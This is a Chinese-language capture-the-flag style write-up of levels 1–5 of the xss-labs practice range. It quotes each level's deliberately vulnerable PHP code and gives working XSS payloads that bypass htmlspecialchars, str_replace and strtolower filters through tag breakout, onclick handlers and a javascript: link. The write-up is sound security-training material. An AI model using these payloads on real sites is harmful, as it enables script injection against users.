XSS-lab靶场练习(1~5)
写在前面
靶场链接:https://github.com/do0dl3/xss-labs
Level 1
没有什么过滤或者其他的什么,就是普通的get型传参
这里使用的也是我们非常常用的探测语句:
<script>alert('xss')</script>
Level 2
对于输入框:
在网页源代码中,我们输入的数据,是在表单中的value
属性内,所以需要先闭合input
标签,也是通过get
来获取参数。
所以payload:
"><script>alert('xss')</script>
同时,我们也可以使用input
中的其他属性:
" οnclick="alert('xss')
Level 3
初见题目感觉和第二关很像,但是使用探测和第二关的payload
并不起作用,检查看看:
可以看到在value属性有些字段转换为了实体。来看看源码是怎么回事吧:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
这里仅仅截下了处理脚本,可以看到有个htmlspecialchars()
。看看解析:
这里很明显可以看到该函数再默认参数情况下,会对<>
进行实体化,所以这里我们无法使用标签来进行xss,这里我们使用事件属性来完成。并且这里仅对双引号进行实体化(默认参数情况下),我们使用单引号来完成闭合就可以了。
所以payload:
' οnclick='alert(123)
这里有个小问题要提一下,就是为什么'
闭合是合理的(我们前面不是“来闭合吗?)
这是因为脚本中是"
,'
都使用了,你可以仔细看看源代码,单双引号都使用是比较常用的写法。也就是说我们闭合的是最靠前的’。
这也是为什么这里alert
的值是数字,要避免闭合混乱(如果硬要用字符串,请用""),如果在alert
中再使用单引号,就会提前闭合语句。
Level 4
输入<
瞬间就无了,说明这里有一定的过滤,看看源码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
是使用的str_replace(),但这里使用的是单字符替换,双写和大小写不是很好使用,这里也没有htmlspecialchars(),我们完全可以使用标签事件属性绕过:
" οnclick="alert('xss')
Level 5
探测<script>
的时候,输入发生了变化,如下:
源码如下:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
既然不能用
"><a href="javascript:alert(123)
点击图片即可
本题使用了三个防范方法:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
分别能够 转换小写,script
关键字转换,on
转换
考虑了标签、及事件的转换,但是没有考虑完整,后面我们会提到onerror
,到时再来介绍on
的转换